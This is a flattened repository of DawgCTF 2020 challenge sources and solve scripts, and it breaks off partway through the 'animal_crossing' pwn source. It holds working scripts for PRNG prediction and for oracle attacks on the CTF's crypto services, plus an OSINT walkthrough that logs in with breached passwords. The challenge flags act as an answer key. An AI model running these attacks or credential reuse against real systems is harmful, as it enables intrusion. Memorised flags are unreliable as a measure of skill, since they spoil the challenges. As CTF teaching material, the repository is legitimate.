mypoll = { STDIN_FILENO, POLLIN|POLLPRI }; 10 | char user_input[50]; 11 | if(poll(&mypoll, 1, 3000)){ 12 | fgets(user_input, 50, stdin); 13 | if(memcmp(fried, user_input, strlen(fried))){ 14 | return 0; 15 | } 16 | return 1; 17 | } 18 | return 0; 19 | } 20 | 21 | int play_game(){ 22 | char user_input[50] = "\0"; 23 | char strings[][50] = {"DogeCTF{D@nc3_w1th_mY_d0gs_1n_tH3_n1ghTt1m3}", 24 | "DogeCTF{T@k3_1t_wH1p_1t_1nT3rm1$$10n}", 25 | "DogeCTF{l3t_th3_b1rd$_fLy}", 26 | "DogeCTF{th3y_tH1nK_w3_UsEd_@_ch34t_C0d3}", 27 | "DogeCTF{WhY_y0u_k33p_l00k1n_@t_m3}", 28 | "DogeCTF{R41nDr0p$_Dr0p_top$}", 29 | "DogeCTF{b@D_anD_b0uj33}", 30 | "DogeCTF{Im_r1D1n_4r0und_in_@_c0up3}", 31 | "DogeCTF{B1tch_1m_4_D0g_woof}", 32 | "DogeCTF{W3_D1D_th3_m0$t_Y3@h}", 33 | "DogeCTF{D4bb1n_0n_3m_lik3_the_usu@l}", 34 | "DogeCTF{1m_Y0ung_4nD_rich}", 35 | "DogeCTF{1n_th3_cr0ckpot}", 36 | "DogeCTF{0ut3r_$pace_KiD_CuD1}", 37 | "DogeCTF{$4v@g3_ruthl3$s}", 38 | "DogeCTF{4nD_Y0u_kn0w_w3_winn1n}", 39 | "DogeCTF{W3_c4m3_fr0m_n0th1n_to_$0methin}", 40 | "DogeCTF{$3v3nt33n_f1v3_s@me_c0l0r_T-$hirt}", 41 | "DogeCTF{M@m4_t0lD_m3}", 42 | "DogeCTF{real_fr0g_3ye$}", 43 | "DogeCTF{D1vin_0ff_th3_$t4g3}", 44 | "DogeCTF{T@k3_mY_sh0e$_4nd_w@lk_4_m1l3}", 45 | "DogeCTF{W@lk_1t_lik3_1_t4lk_it}", 46 | "DogeCTF{$@y_th4t_w3_b33n_be3f1ng_D0g}", 47 | "DogeCTF{Y0_Y3@h_d@t_w@y}", 48 | "DogeCTF{put_th4t_th1nG_in_sp0rt}", 49 | "DogeCTF{T4k3_th3_@1r_0ut_th3_b4ll}", 50 | "DogeCTF{Th3_c0upe_c@m3_1mp0rteD}", 51 | "DogeCTF{It_g0t_fl4me$_oUt_th3_r34r$}", 52 | "DogeCTF{Wh3n_1_coulD_ju$t_h0p_1n_@_P0r$ch3}" 53 | }; 54 | for(int i = 0; i < 30; i++){ 55 | printf("Unscrambled String: %s\n", strings[i]); 56 | if(!timeout(strfry(strings[i]))){ 57 | return 0; 58 | } 59 | } 60 | return 1; 61 | } 62 | 63 | void print_flag(){ 64 | printf("Nice job! Here's your flag: DawgCTF{3th0s_p@th0s_l0g0s_m1g0s}\n"); 65 | } 66 | 67 | void print_loss(){ 68 | printf("Wrong! You need to control the bag now.\n"); 69 | } 70 | 71 | void print_welcome(){ 72 | printf("-----------------------------------------------------------------\n"); 73 | printf(" Welcome! \n"); 74 | printf(" You will be presented with 30 flags of the form DogeCTF{flag} \n"); 75 | printf(" You'll have to twist your wrist a little and scramble them \n"); 76 | printf(" like Migos to get the flag! \n"); 77 | printf(" Before you go take this: %d, you'll need it \n", getpid()); 78 | printf("-----------------------------------------------------------------\n"); 79 | printf("\n\n\n"); 80 | } 81 | 82 | int main(){ 83 | print_welcome(); 84 | int win = play_game(); 85 | if(win){ 86 | print_flag(); 87 | }else{ 88 | print_loss(); 89 | } 90 | return 0; 91 | } 92 | -------------------------------------------------------------------------------- /coding/strfry/strfry_sol: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/coding/strfry/strfry_sol -------------------------------------------------------------------------------- /coding/strfry/strfry_sol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from subprocess import Popen, PIPE 3 | import ctypes 4 | 5 | LIBC = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') 6 | 7 | #proc = process("./strfry") 8 | proc = remote("ctf.umbccd.io", 5100) 9 | pid = proc.recvuntil(",").split()[-1] 10 | pid = pid[:-1] 11 | time_null = LIBC.time(0) 12 | sop = process(["./strfry_sol", str(time_null), pid]) 13 | for i in range(0, 30): 14 | fake_flag = proc.recvuntil("}").split()[-1] 15 | print fake_flag 16 | sop.sendline(fake_flag) 17 | sol = sop.recvline() 18 | print "Solution: " + sol 19 | proc.send(sol) 20 | 21 | proc.interactive() 22 | -------------------------------------------------------------------------------- /crypto/Criss Cross, Criss Cross.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | 4 | Hint: Look up the chosen plaintext attack and try using your new pad function. 5 | 6 | @author: pleoxconfusa 7 | """ 8 | 9 | import socket 10 | 11 | #some potentially useful functions 12 | def pad_equal(a,b): 13 | diff = len(a)-len(b) 14 | if diff > 0: 15 | b += b"\0" * diff 16 | else: 17 | a += b"\0" * -diff 18 | return a,b 19 | 20 | def xor_bytes(a,b): 21 | return bytes(x ^ y for x, y in zip(a, b)) 22 | 23 | BLOCK_SIZE = 16 24 | pad = lambda s: s + ((BLOCK_SIZE - len(s) % BLOCK_SIZE) % BLOCK_SIZE) * b'\0' 25 | 26 | 27 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 28 | 29 | server_address = ('crypto.ctf.umbccd.io', 13375) 30 | sock.connect(server_address) 31 | 32 | #available methods: flg, enc, dec. 33 | 34 | msg = 'tst'.encode() 35 | sock.sendall(msg) 36 | tst = sock.recv(1024) 37 | print(tst)#not decoded, because now the oracle sends encrypted bytes. 38 | 39 | mac = tst[:BLOCK_SIZE] 40 | txt = tst[BLOCK_SIZE:] 41 | 42 | msg = b'vfy:' + mac + pad(txt) + xor_bytes(mac,txt[:16]) + txt[16:] #sanity double check 43 | sock.sendall(msg) 44 | res = sock.recv(1024) 45 | print(res) 46 | 47 | sock.close() -------------------------------------------------------------------------------- /crypto/Left Foot Two Stomps.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | Created on Mon Feb 3 20:56:17 2020 4 | 5 | @author: pleoxconfusa 6 | """ 7 | import math 8 | 9 | n = 960242069 10 | e = 347 11 | d = 5497883 #pretend this doesn't exist 12 | p = 151 13 | q = 6359219 14 | 15 | 16 | #lcm of p-1 and q-1 17 | phi = abs((p-1)*(q-1)) // math.gcd(p-1,q-1) 18 | #e*d=1 mod phi. we have to find d. 19 | #we must first find the totient of phi. 20 | #The totient is the size of the largest 21 | #field generated under modulus phi. 22 | 23 | 24 | def totient(n): 25 | amount = 0 26 | for k in range(1, n + 1): 27 | if not k % (n // 100): 28 | print(k/(n//100),'% done.\n') 29 | if math.gcd(n, k) == 1: 30 | amount += 1 31 | return amount 32 | 33 | #d = e^{totient(phi)-1} % phi 34 | #d_1 = pow(e,totient(phi)-1,phi) 35 | #print(d,d_1) 36 | 37 | 38 | #this is the original puzzle 39 | ct=[295161774,843462311,530533280,787183046,851931432,770121847,770121847,346046109,616062960,118512782,321883599,860892522,657690757,725148418,346046109,137112544,118512782,563542899,185391473,770057231,790750242,556994500,202294479,530533280,110489031,231979042,657690757,137112544,683778547,227720616,546341739,788320338,259677897,731220302,725148418,475241234,271790171,202294479,530533280,405302860,616062960,923405109,851931432,289862692,945606673,625021022,725148418,70699533,221180981,278854535,770057231,584652061,508395428,185391473,657690757,284629213,321883599,636253020,221180981,271790171,271790171,851931432,923405109,559148396,13976622,475241234] 40 | 41 | to_print = "" 42 | for c in ct: 43 | val = pow(c,d,n) 44 | to_print += chr(val) 45 | 46 | print(to_print) -------------------------------------------------------------------------------- /crypto/Left Foot Two Stomps.txt: -------------------------------------------------------------------------------- 1 | DawgCTF{Lo0k_@t_M3_1_d0_Cr4p7o} 2 | 3 | ROT47 4 | s2H8r%uL{@_<0oE0|b0`05_0rCcAf@N|ROT 5 | 6 | Base64 7 | czJIOHIldUx7QF88MG9FMHxiMGAwNV8wckNjQWZATnxST1Q= 8 | 9 | Vigenere:visionary 10 | xhBQCUIcbPf7IN88AT9FDFsqEOOjNM8uxsFrEJZRRifKB1E=|key=visionary 11 | 12 | 13 | 14 | n=960242069 15 | e=347 16 | c=295161774,843462311,530533280,787183046,851931432,770121847,770121847,346046109,616062960,118512782,321883599,860892522,657690757,725148418,346046109,137112544,118512782,563542899,185391473,770057231,790750242,556994500,202294479,530533280,110489031,231979042,657690757,137112544,683778547,227720616,546341739,788320338,259677897,731220302,725148418,475241234,271790171,202294479,530533280,405302860,616062960,923405109,851931432,289862692,945606673,625021022,725148418,70699533,221180981,278854535,770057231,584652061,508395428,185391473,657690757,284629213,321883599,636253020,221180981,271790171,271790171,851931432,923405109,559148396,13976622,475241234 -------------------------------------------------------------------------------- /crypto/One Hop This Time, One Hop This Time.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | 4 | Hint: Use your new xor_bytes function and read up on the flaws of one time pad. 5 | 6 | @author: pleoxconfusa 7 | """ 8 | 9 | import socket 10 | 11 | #some potentially useful functions 12 | def pad_equal(a,b): 13 | diff = len(a)-len(b) 14 | if diff > 0: 15 | b += b"\0" * diff 16 | else: 17 | a += b"\0" * -diff 18 | return a,b 19 | 20 | def xor_bytes(a,b): 21 | return bytes(x ^ y for x, y in zip(a, b)) 22 | 23 | 24 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 25 | 26 | server_address = ('crypto.ctf.umbccd.io', 13371) 27 | sock.connect(server_address) 28 | 29 | #available methods: flg, enc, dec. 30 | 31 | 32 | msg = 'flg'.encode() 33 | sock.sendall(msg) 34 | flg = sock.recv(1024) 35 | 36 | msg = b'enc:' + b'\0' * 50 37 | sock.sendall(msg) 38 | key = sock.recv(1024) 39 | 40 | print(xor_bytes(flg,key)) #not decoded, because now the oracle sends encrypted bytes. 41 | 42 | sock.close() -------------------------------------------------------------------------------- /crypto/README.md: -------------------------------------------------------------------------------- 1 | The Crypto Solve Scripts 2 | -------------------------------------------------------------------------------- /crypto/Right Foot Two Stomps.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | 4 | Hint: Look up the chosen ciphertext attack. 5 | 6 | @author: pleoxconfusa 7 | """ 8 | 9 | import socket 10 | 11 | #some potentially useful functions 12 | def pad_equal(a,b): 13 | diff = len(a)-len(b) 14 | if diff > 0: 15 | b += b"\0" * diff 16 | else: 17 | a += b"\0" * -diff 18 | return a,b 19 | 20 | def xor_bytes(a,b): 21 | return bytes(x ^ y for x, y in zip(a, b)) 22 | 23 | 24 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 25 | 26 | server_address = ('crypto.ctf.umbccd.io', 13372) 27 | sock.connect(server_address) 28 | 29 | #available methods: flg, enc, dec. 30 | 31 | msg = 'flg'.encode() 32 | sock.sendall(msg) 33 | ct = sock.recv(1024) 34 | print(ct) 35 | 36 | msg = b'dec:' + ct + ct #very simple solution. 37 | sock.sendall(msg) 38 | dec = sock.recv(1024) 39 | print(dec) 40 | 41 | sock.close() -------------------------------------------------------------------------------- /crypto/Slide To The Left.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | 4 | Hint: Look up the chosen ciphertext attack for cbc malleability 5 | 6 | @author: pleoxconfusa 7 | """ 8 | 9 | import socket 10 | 11 | #some potentially useful functions 12 | def pad_equal(a,b): 13 | diff = len(a)-len(b) 14 | if diff > 0: 15 | b += b"\0" * diff 16 | else: 17 | a += b"\0" * -diff 18 | return a,b 19 | 20 | def xor_bytes(a,b): 21 | return bytes(x ^ y for x, y in zip(a, b)) 22 | 23 | 24 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 25 | 26 | server_address = ('localhost', 13373) 27 | sock.connect(server_address) 28 | 29 | #available methods: flg, enc, dec. 30 | 31 | msg = 'flg'.encode() 32 | sock.sendall(msg) 33 | ct = sock.recv(1024) 34 | print("ct:" , ct) 35 | print(1) 36 | msg = b'dec:' + ct[:-16] #to get the first block decrypted 37 | print(2) 38 | sock.sendall(msg) 39 | print(3) 40 | dec1 = sock.recv(1024) 41 | print("dec1:", dec1) 42 | msg = b'dec:' + ct[16:] #very simple solution to get everything after the first block decrypted 43 | sock.sendall(msg) 44 | dec2 = sock.recv(1024) 45 | print("dec2:", dec2) 46 | print(dec1[:16]+dec2) 47 | 48 | sock.close() -------------------------------------------------------------------------------- /crypto/Slide To The Right.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | 4 | Hint: Look up the AES-GCM properties. 5 | 6 | @author: pleoxconfusa 7 | """ 8 | 9 | import socket 10 | 11 | #some potentially useful functions 12 | def pad_equal(a,b): 13 | diff = len(a)-len(b) 14 | if diff > 0: 15 | b += b"\0" * diff 16 | else: 17 | a += b"\0" * -diff 18 | return a,b 19 | 20 | def xor_bytes(a,b): 21 | return bytes(x ^ y for x, y in zip(a, b)) 22 | 23 | 24 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 25 | 26 | server_address = ('crypto.ctf.umbccd.io', 13376) 27 | sock.connect(server_address) 28 | 29 | #available methods: flg, enc, dec. 30 | 31 | msg = 'flg'.encode() 32 | sock.sendall(msg) 33 | ct = sock.recv(1024) 34 | print("ct:" , ct) 35 | 36 | msg = b'enc:' + ct[:16] + (b'\0' * 42) #very simple solution. 37 | sock.sendall(msg) 38 | dec = sock.recv(1024) 39 | 40 | print(ct[:16]==dec[:16]) 41 | 42 | both=pad_equal(ct,dec) 43 | 44 | print(xor_bytes(both[0],both[1])) 45 | 46 | sock.close() -------------------------------------------------------------------------------- /crypto/Take It Back Now, Y'all.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | 4 | Hint: Wait really? Uhm. Okay. Just change the msg to say 'flg'. 5 | 6 | @author: pleoxconfusa 7 | """ 8 | 9 | import socket 10 | 11 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 12 | 13 | server_address = ('crypto.ctf.umbccd.io', 13370) 14 | sock.connect(server_address) 15 | 16 | #available methods: flg, tst. 17 | 18 | 19 | msg = 'flg' 20 | 21 | 22 | sock.sendall(msg.encode()) 23 | data = sock.recv(1024) 24 | print(data.decode()) 25 | 26 | sock.close() -------------------------------------------------------------------------------- /forensics/Impossible Pen Test.md: -------------------------------------------------------------------------------- 1 | theinternet.ctf.umbccd.io 2 | 3 | Part 1 4 | ------ 5 | Can you help us find the password of an affiliate's CEO somewhere on the internet and use it to log in to the corporate site? 6 | 7 | By searching the FaceSpace of the affiliates you see they all like Charriott International. 8 | A data breach of this site is mentioned, and Sonny Bridges's login can be used to log into the site. 9 | 10 | Part 2 11 | ------ 12 | Can you help us find a disgruntled former employee somewhere on the internet (their URL will be the flag)? 13 | 14 | The CEO mentions firing his CFO. 15 | By going to Madalynn's page, you can see something about the CTO Royce Joyce. 16 | Royce Joyce mentions many other people, and one of those people says "Ignore Rudy Grizwald." 17 | A search of Rudy Grizwald reveals he's the recently fired CFO. 18 | Both his SyncedIn and FaceSpace URL contain DawgCTF. 19 | 20 | Part 3 21 | ------ 22 | Can you help us find the mother of the help desk employee's name with their maiden name somewhere on the internet (the mother's URL will be the flag)? 23 | 24 | By using Royce Joyce's social network, you can find the help desk employee Orlando Sanford (shoutout fam). 25 | Orlando Sanford's mother can be found on his FaceSpace: Alexus Cunningham. 26 | Her FaceSpace url contains DawgCTF. 27 | 28 | Part 4 29 | ------ 30 | Can you help us find the syncedin page of the linux admin somewhere on the internet (their URL will be the flag)? 31 | 32 | Same thing with Royce Joyce's social network. 33 | It's Guillermo McCoy. 34 | His SyncedIn has the flag and reveals his job position. 35 | 36 | Part 5 37 | ------ 38 | Can you help us find the CTO's password somewhere on the internet and use it to log in to the corporate site? 39 | 40 | Time to attack Royce Joyce himself! 41 | He talks about using skayou and them having a data breach. 42 | His login can be found in there using his SyncedIn emails. 43 | That login produces the flag. 44 | -------------------------------------------------------------------------------- /forensics/README.md: -------------------------------------------------------------------------------- 1 | The forensics writeups. 2 | -------------------------------------------------------------------------------- /forensics/benford-solver.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | Created on Fri Mar 6 14:20:10 2020 4 | 5 | @author: pleoxconfusa 6 | """ 7 | import csv 8 | import os 9 | from scipy.stats import chisquare 10 | 11 | numbers = ["0","1","2","3","4","5","6","7","8","9"] 12 | 13 | benford = [0, 0.301, 0.176, 0.125, 0.097, 0.079, 0.067, 0.058, 0.051, 0.046] 14 | bfsecnd = [0.12, 0.114, 0.109, 0.104, 0.1, 0.097, 0.093, 0.09, 0.088, 0.085] 15 | bfthird = [0.102, 0.101, 0.101, 0.101, 0.1, 0.1, 0.099, 0.099, 0.099, 0.098] 16 | 17 | 18 | randdist = [0, 1.0/9, 1.0/9, 1.0/9, 1.0/9, 1.0/9, 1.0/9, 1.0/9, 1.0/9, 1.0/9] 19 | randoter = [0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1] 20 | 21 | bfall = [benford, bfsecnd, bfthird] 22 | randl = [randdist, randoter] 23 | 24 | challenge_folder = "Benford" 25 | 26 | 27 | 28 | 29 | def check_finances(folder, file, distribution): 30 | 31 | chi_val = 1 32 | values = [] 33 | for i in range(0,len(bfall)): 34 | values.append([0,0,0,0,0,0,0,0,0,0]) 35 | with open(folder + "/" + file, 'r', newline='\n') as csvfile: 36 | reader = csv.reader(csvfile, delimiter=',', quotechar='"') 37 | 38 | row_count = 0.0 39 | 40 | for row in reader: 41 | if row and len(row)-1: 42 | row_count += 1.0 43 | values[0][int(row[1][1])] += 1.0 44 | values[1][int(row[1][2])] += 1.0 45 | values[2][int(row[1][3])] += 1.0 46 | 47 | valuesdistro = [item for sublist in values for item in sublist] 48 | 49 | chi_val = chisquare(valuesdistro[1:19:], [row_count*x for x in distribution][1:19:]).pvalue 50 | 51 | print(chi_val) 52 | 53 | return chi_val 54 | 55 | 56 | if __name__=="__main__": 57 | chi_value = 1 58 | answer = "" 59 | 60 | bfalldistro = [item for sublist in bfall for item in sublist] 61 | 62 | for filename in os.listdir(challenge_folder): 63 | if ".csv" in filename: 64 | chi = check_finances(challenge_folder, filename, bfalldistro) 65 | if chi < chi_value: 66 | chi_value = chi 67 | answer = filename 68 | 69 | print(chi_value) 70 | print(answer) 71 | -------------------------------------------------------------------------------- /forensics/umbc-cyber/README.md: -------------------------------------------------------------------------------- 1 | # UMBC Cyber Defense 2 | 3 | Is the shield for keeping things in or keeping things out? 4 | 5 | ## Solution: 6 | 7 | Use stenography toolkit of your choice. I happened to use https://incoherency.co.uk/image-steganography/ to build & test the image. 8 | 9 | 10 | -------------------------------------------------------------------------------- /forensics/umbc-cyber/avatar-cyberdefense-locked.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/forensics/umbc-cyber/avatar-cyberdefense-locked.png -------------------------------------------------------------------------------- /misc/Where did the spaces go?: -------------------------------------------------------------------------------- 1 | Text: 2 | -.--.---...--....-.--...-.-----..-...--.---..--...-.--...-...-..-......----..-...-........--.-.-..--..-...-..-......----...--..-...-..-.....-.-.---.-.----. 3 | 4 | Solving Morse Code without spaces is INCREDIBLY HARD. 5 | 6 | Like...when I say hard...I mean...HARD. 7 | 8 | It's also like...impossible. Did I mention it's hard? 9 | 10 | Plus this thing is like 155 characters long...so many options... 11 | 12 | wait... 13 | 14 | that's divisible by 5... 15 | 16 | Hm...are dahs and dihs unique to Morse? 17 | 18 | What was Morse made for? 19 | 20 | Telegraphs? 21 | 22 | Anything fixed length for telegraphs? 23 | 24 | Header of Wikipedia said Baudot... 25 | 26 | Oh...that's 5. 27 | 28 | Hm...maybe the .'s and -'s correlate to that... 29 | 30 | DAWGCTFBAUD0T1SN0TM0RSE ! 31 | 32 | Yeah...it's not Morse...is it... 33 | -------------------------------------------------------------------------------- /misc/let_her_eat_cake/README.md: -------------------------------------------------------------------------------- 1 | # Let Her Eat Cake 2 | 3 | One of four solutions on the specific page, this required solving the ciphered text in the page. 4 | 5 | ## Solution 6 | 7 | 8 | * Identify that the lady is Elizebeth Friedman (maiden name was Smith), famous American cryptologist. (Identifiable on Google either by maiden name, by cryptologist reference, or through the quote listed on the page.) 9 | * Recognize that her cake day would be her birthday, and look that up 10 | * Use her birthday as the shift key for a Vigenere cipher. (Included python solution code used to code/decode, based on a freely available python cryptography book) 11 | * Grab the flag from the deciphered code 12 | 13 | 14 | -------------------------------------------------------------------------------- /misc/let_her_eat_cake/dateshift.py: -------------------------------------------------------------------------------- 1 | # Vigenere Cipher (Polyalphabetic Substitution Cipher) 2 | # https://www.nostarch.com/crackingcodes/ (BSD Licensed) 3 | # 4 | # Altered: 5 | # - using new message 6 | # - using shift based on date 7 | 8 | LETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 9 | 10 | def main(): 11 | 12 | myMessage = """How do you keep a programmer in the shower all day? 13 | Give him a bottle of shampoo which says Lather rinse repeat DawgCTF{ClearEdge_crypto}""" 14 | 15 | myKeyArray = [] 16 | # Elizebeth Friedman's birthday, otherwise known as the day on which she'd eat cake 17 | for digit in '08261892': 18 | myKeyArray.append(LETTERS[int(digit)]) 19 | myKey = ''.join(myKeyArray) 20 | 21 | myMode = 'encrypt' # Set to either 'encrypt' or 'decrypt'. 22 | 23 | # myMessage= """Hwyjpgxwkmgvbxaqgzcsnmaknbjktpxyezcrmlja? 24 | # GqxkiqvcbwvzmmxhspcsqwxyhqentihuLivnfzaknagxfxnctLcchKCH{CtggsMmie_kteqbx} 25 | # """ 26 | # myMode = 'decrypt' 27 | 28 | if myMode == 'encrypt': 29 | translated = encryptMessage(myKey, myMessage) 30 | elif myMode == 'decrypt': 31 | translated = decryptMessage(myKey, myMessage) 32 | 33 | print('%sed message:' % (myMode.title())) 34 | print(translated) 35 | print() 36 | 37 | 38 | def encryptMessage(key, message): 39 | return translateMessage(key, message, 'encrypt') 40 | 41 | def decryptMessage(key, message): 42 | return translateMessage(key, message, 'decrypt') 43 | 44 | def translateMessage(key, message, mode): 45 | translated = [] # Stores the encrypted/decrypted message string. 46 | 47 | keyIndex = 0 48 | key = key.upper() 49 | 50 | for symbol in message: # Loop through each symbol in message. 51 | num = LETTERS.find(symbol.upper()) 52 | 53 | if num != -1: # -1 means symbol.upper() was not found in LETTERS. 54 | if mode == 'encrypt': 55 | num += LETTERS.find(key[keyIndex]) # Add if encrypting. 56 | elif mode == 'decrypt': 57 | num -= LETTERS.find(key[keyIndex]) # Subtract if decrypting. 58 | 59 | num %= len(LETTERS) # Handle any wraparound. 60 | 61 | # Add the encrypted/decrypted symbol to the end of translated: 62 | if symbol.isupper(): 63 | translated.append(LETTERS[num]) 64 | elif symbol.islower(): 65 | translated.append(LETTERS[num].lower()) 66 | 67 | keyIndex += 1 # Move to the next letter in the key. 68 | if keyIndex == len(key): 69 | keyIndex = 0 70 | else: 71 | if (symbol != " "): 72 | # Append the symbol without encrypting/decrypting: 73 | translated.append(symbol) 74 | 75 | return ''.join(translated) 76 | 77 | # If vigenereCipher.py is run (instead of imported as a module), call 78 | # the main() function: 79 | if __name__ == '__main__': 80 | main() -------------------------------------------------------------------------------- /misc/let_her_eat_cake/dawgctf.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |

13 | America's first female cryptanalyst, she said: "Our office doesn't make 'em, we only break 'em". On this day, let her eat cake! 14 |

15 | 16 | Hwyjpgxwkmgvbxaqgzcsnmaknbjktpxyezcrmlja? 17 | 18 |

19 | GqxkiqvcbwvzmmxhspcsqwxyhqentihuLivnfzaknagxfxnctLcchKCH{CtggsMmie_kteqbx} 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /misc/toilet_humor_4/README.md: -------------------------------------------------------------------------------- 1 | # Toilet Humor 4 - 100 points 2 | 3 | The flag is a bald poop. 4 | 5 | ## Solution 6 | 7 | * From previous years/the hints, guess that it wants an emoji. 8 | * There is no bald poop emoji, only a poop emoji. But there is a bald man emoji. 9 | * The bald man emoji is actually three emojis: `man`, `zero width joiner`, `bald modifier` 10 | * So the bald poop emoji is: `poop`, `zero width joiner`, `bald modifier`. This doesn't render correctly 11 | * It shows up as 2 characters, but when you try to select it, it appears to be 1 character. AKA 1 emoji. 12 | 13 | 14 | -------------------------------------------------------------------------------- /pwn/animal_crossing/README.md: -------------------------------------------------------------------------------- 1 | # Tom Nook the Capitalist Raccoon - pwn 200 2 | # Author: trashcanna @annatea16 3 | 4 | animal_crossing_sol.py - Solution Script\ 5 | animal_crossing.c - Source Code, not distributed\ 6 | animal_crossing - Executable, distributed\ 7 | animal_crossing_remote - Executable, remote 8 | -------------------------------------------------------------------------------- /pwn/animal_crossing/animal_crossing: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/pwn/animal_crossing/animal_crossing -------------------------------------------------------------------------------- /pwn/animal_crossing/animal_crossing.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define ITEMS_FOR_SALE 6 6 | #define BAG_SIZE 5 7 | 8 | unsigned int bells = 8500; 9 | 10 | struct item{ 11 | char name[20]; 12 | char desc[50]; 13 | unsigned int price; 14 | unsigned int qty; 15 | int num; 16 | }; 17 | 18 | struct item sale_items[ITEMS_FOR_SALE]; 19 | struct item my_items[BAG_SIZE]; 20 | unsigned int num_items = 4; 21 | int valid_items[BAG_SIZE] = {1, 1, 1, 1, 0}; 22 | 23 | char welcome_str[] = "Welcome!\nHow can I help you today?\n"; 24 | char leave_str[] = "Well then, please don\'t hesitate to\nask if you need assistance!\n"; 25 | char sale_str[] = "Excellent purchase!\nYes, thank you for the bells\n"; 26 | char sale_str_1[] = "Here\'s what we have to sell today.\n"; 27 | char cant_afford[] = "I\'ll buy it!\nThank you for your purcha--\nOh! You, ah, don\'t have enough\nmoney in your pockets.\nOur shop doesn't offer a line of credit,\nso please come back when\nyou have more money.\n...money!\n\n"; 28 | char sure[] = "Sure! How about if I offer you\n"; 29 | char thanks[] = "Thank you! Please come again!\n\n"; 30 | char sell_str[] = "Of course! What exactly are you\noffering?\n"; 31 | char bag_full[] = "Thank you for your purcha-\nWhoa! You\'re already carrying so\nmany things!\nMaybe you can come back after you\nmake room in your pockets.\n"; 32 | 33 | 34 | void print_string(char* str, int len){ 35 | for (int i = 0; i < len; ++i) { 36 | printf("%c", str[i]); 37 | usleep(15000); 38 | } 39 | } 40 | 41 | void setup_sale_items(){ 42 | char item_names[][20] = {"flimsy net", 43 | "tarantula", 44 | "slingshot", 45 | "sapling", 46 | "cherry", 47 | "flag"}; 48 | char item_desc[][50] = {"a great way to catch bugs!", 49 | "I hate spiders!", 50 | "the closest thing you can get to a gun", 51 | "plant a tree!", 52 | "eh it beats pears", 53 | "DogeCTF{t0m_n00k_c@pit4l1st_$cum}"}; 54 | unsigned int item_price[] = {400, 8000, 900, 640, 400, 420000}; 55 | unsigned int item_qty[] = {0, 0, 0, 0, 0, 0}; 56 | int item_num[] = {1, 2, 3, 4, 5, 6}; 57 | for(int i = 0; i < ITEMS_FOR_SALE; i++){ 58 | strcpy(sale_items[i].name, item_names[i]); 59 | strcpy(sale_items[i].desc, item_desc[i]); 60 | sale_items[i].price = item_price[i]; 61 | sale_items[i].qty = item_qty[i]; 62 | sale_items[i].num = item_num[i]; 63 | } 64 | } 65 | 66 | void setup_my_items(){ 67 | char item_names[][20] = {"flimsy axe", 68 | "olive flounder", 69 | "slingshot", 70 | "flimsy shovel", 71 | }; 72 | char item_desc[][50] = {"chop chop chop", 73 | "it\'s looking at me funny", 74 | "the closest thing you can get to a gun", 75 | "for digging yourself out of debt", 76 | }; 77 | unsigned int item_price[] = {800, 800, 900, 800}; 78 | unsigned int item_qty[] = {1, 2, 1, 1}; 79 | int item_num[] = {7, 8, 3, 9}; 80 | int i; 81 | for(i = 0; i < num_items; i++){ 82 | strcpy(my_items[i].name, item_names[i]); 83 | strcpy(my_items[i].desc, item_desc[i]); 84 | my_items[i].price = item_price[i]; 85 | my_items[i].qty = item_qty[i]; 86 | my_items[i].num = item_num[i]; 87 | } 88 | for(; i < BAG_SIZE; i++){ 89 | my_items[i].price = -1; 90 | my_items[i].qty = -1; 91 | my_items[i].num = -1; 92 | } 93 | } 94 | 95 | void print_welcome(){ 96 | printf("Timmy: "); 97 | print_string(welcome_str, strlen(welcome_str)); 98 | } 99 | 100 | void exit_game(){ 101 | printf("Timmy: "); 102 | print_string(leave_str, strlen(leave_str)); 103 | } 104 | 105 | void make_sale(int item_num){ 106 | printf("Timmy: "); 107 | print_string(sale_str, strlen(sale_str)); 108 | int item_index = -1; 109 | for(int i = 0; i < BAG_SIZE; i++){ 110 | if(item_num == my_items[i].num && valid_items[i]){ 111 | item_index = i; 112 | } 113 | } 114 | if(item_index == -1){ 115 | for(int i = 0; i < BAG_SIZE; i++){ 116 | if(!valid_items[i]){ 117 | item_index = i; 118 | break; 119 | } 120 | } 121 | strcpy(my_items[item_index].name, sale_items[item_num-1].name); 122 | strcpy(my_items[item_index].desc, sale_items[item_num-1].desc); 123 | my_items[item_index].price = sale_items[item_num-1].price; 124 | my_items[item_index].num = item_num; 125 | num_items++; 126 | valid_items[item_index] = 1; 127 | }else{ 128 | my_items[item_index].qty += 1; 129 | } 130 | bells = bells - sale_items[item_num-1].price; 131 | } 132 | 133 | void sale(){ 134 | int choice = 0; 135 | printf("%d bells\n", bells); 136 | 